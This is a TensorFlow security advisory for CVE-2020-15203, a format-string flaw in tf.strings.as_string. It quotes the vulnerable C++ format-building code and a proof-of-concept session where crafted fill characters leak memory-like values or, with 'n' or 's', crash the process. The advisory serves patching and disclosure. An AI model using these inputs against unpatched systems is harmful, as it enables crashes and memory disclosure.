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TFSA-2020-013: Format-string vulnerability in TensorFlow's as_string

CVE Number

CVE-2020-15203

Impact

By controlling the fill argument of tf.strings.as_string, a malicious attacker is able to trigger a format string vulnerability due to the way the internal format use in a printf call is constructed:

    format_ = "%";
    if (width > -1) {
      strings::Appendf(&format_, "%s%d", fill_string.c_str(), width);
    }
    if (precision > -1) {
      strings::Appendf(&format_, ".%d", precision);
    }

This can result in unexpected output:

In [1]: tf.strings.as_string(input=[1234], width=6, fill='-')
Out[1]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['1234  '],
dtype=object)>
In [2]: tf.strings.as_string(input=[1234], width=6, fill='+')
Out[2]: <tf.Tensor: shape=(1,), dtype=string, numpy=array([' +1234'],
dtype=object)>
In [3]: tf.strings.as_string(input=[1234], width=6, fill="h")
Out[3]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['%6d'],
dtype=object)>
In [4]: tf.strings.as_string(input=[1234], width=6, fill="d")
Out[4]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['12346d'],
dtype=object)>
In [5]: tf.strings.as_string(input=[1234], width=6, fill="o")
Out[5]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['23226d'],
dtype=object)>
In [6]: tf.strings.as_string(input=[1234], width=6, fill="x")
Out[6]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['4d26d'],
dtype=object)>
In [7]: tf.strings.as_string(input=[1234], width=6, fill="g")
Out[7]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['8.67458e-3116d'],
dtype=object)>
In [8]: tf.strings.as_string(input=[1234], width=6, fill="a")
Out[8]: <tf.Tensor: shape=(1,), dtype=string,
numpy=array(['0x0.00ff7eebb4d4p-10226d'], dtype=object)>
In [9]: tf.strings.as_string(input=[1234], width=6, fill="c")
Out[9]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['\xd26d'],
dtype=object)>
In [10]: tf.strings.as_string(input=[1234], width=6, fill="p")
Out[10]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['0x4d26d'],
dtype=object)>
In [11]: tf.strings.as_string(input=[1234], width=6, fill='m')
Out[11]: <tf.Tensor: shape=(1,), dtype=string, numpy=array(['Success6d'],
dtype=object)>

However, passing in n or s results in segmentation fault.

Vulnerable Versions

TensorFlow 1.15.0, 1.15.1, 1.15.2, 1.15.3, 2.0.0, 2.0.1, 2.0.2, 2.1.0, 2.1.1, 2.2.0, 2.3.0.

Patches

We have patched the issue in 33be22c65d86256e6826666662e40dbdfe70ee83 and will release patch releases for all versions between 1.15 and 2.3.

We recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.